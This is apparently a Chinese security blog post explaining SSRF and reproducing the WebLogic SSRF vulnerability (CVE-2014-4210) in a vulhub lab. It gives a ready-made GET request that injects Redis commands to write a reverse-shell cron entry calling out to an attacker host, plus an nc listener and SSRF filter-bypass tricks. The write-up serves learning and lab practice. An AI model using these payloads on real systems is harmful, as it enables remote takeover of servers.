常见web漏洞学习之SSRF


SSRF

image-20210717161639133

image-20210717161814292

image-20210717161911196

img

概念

Server Side Request Forgery 服务端请求伪造

是由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

原理

很多web应用都提供了从其他的服务器上获取数据的功能,如使用指定的url,web应用就可以获取图片,下载文件,读取文件内容等(这个url是远程的url,并不是本地的,说了个废话

SSRF的实质是利用存在缺陷的web应用作为代理来进行攻击远程和本地的服务器

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

攻击方式

9907e251f785494d92c746eb5df60541

危害

  • 内外网的端口和服务扫描
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  • 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
  • 利用Redis未授权访问,HTTP CRLF注入实现getshell
  • 下载内网资源,利用file协议读取本地敏感数据文件等
  • 进行跳板

相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • http/https协议:探测内网主机存活
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

weblogic ssrf复现

搭建环境

image-20210718153704526

查看靶场说明

进入weblogic的ssrf的目录下,使用gedit命令查看README.md

image-20210718154456328

xshell会让提示下Xmanger

image-20210718154647511

直接下本地看

访问ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

image-20210718155843581

访问ip:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20210718160744237

探测内网状态

image-20210718162349626

构造payload来检验端口是否开放并且是否为HTTP协议operator=http://127.0.0.1:7001,返回status code就说明端口开放并且为HTTP协议

image-20210718162817388

尝试一个不存在的端口7777,返回could not connect over HTTP to server,就是说明端口不存在

image-20210718163712297

如果端口开放访问的是非http协议,则会返回did not have a valid SOAP content-type

image-20210718164622656

在查看Redis端口开放状态时,一直不行,看一下才发现是没有起来

image-20210718171022778

探测Redis端口情况

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.1:6379可以连通:

也可以写个脚本跑一下

image-20210718171256048

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器

发送Redis命令,将弹shell脚本写入/etc/crontab

1
2
3
4
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/port 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
对其进行url编码
1
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F公网ip%2F监听端口%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注:换行符是“\r\n”,也就是“%0D%0A”

\r是回车,\n是换行

将url编码后的字符串放在ssrf域名后面,go

1
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.1:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F公网ip%2F监听端口%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave HTTP/1.1

image-20210718201905032

nc -lvp 4444

可进行利用的cron还有以下几个地方

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

绕过

  1. @          http://abc.com@127.0.0.1

  2. 添加端口号      http://127.0.0.1:8080

  3. 短地址        https://0x9.me/cuGfD

  4. 可以指向任意ip的域名  xip.io

  5. ip地址转换成进制来访问 192.168.0.1=32322

参考文章

SSRF漏洞攻击原理及防御方案

SSRF漏洞(原理&绕过姿势)

SSRF攻击姿势汇总

Weblogic SSRF漏洞(CVE-2014-4210)

漏洞复现-vulhub复现Weblogic的SSRF漏洞


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录